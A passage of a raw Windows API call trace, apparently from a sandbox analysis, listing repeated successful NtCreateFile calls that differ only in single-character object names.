AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.418] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᚝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.419] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛟ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.419] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.421] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᛻\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.422] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᛿\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.423] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛟ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.423] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᛣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.424] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="៸\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.424] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="៼\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.425] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚇ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.425] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚍ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.428] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.429] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.430] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.431] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.432] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚡ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.432] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.433] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇔ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.433] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇐ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.434] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚡ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.435] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.436] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚡ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.437] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.438] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚆ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.439] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚌ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.439] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚑ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.440] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.440] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚆ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.441] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚌ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.441] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚡ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.442] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚣ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.443] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚆ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.444] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚌ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.444] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚙ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.445] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="᚝\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.445] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.446] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.446] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.447] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.447] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.447] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.448] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.448] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.454] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚑ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.455] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᚓ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.455] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.456] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.456] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ቜ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.456] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="቟\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.457] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇒ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0172.457] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="ᇊ\x01", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: 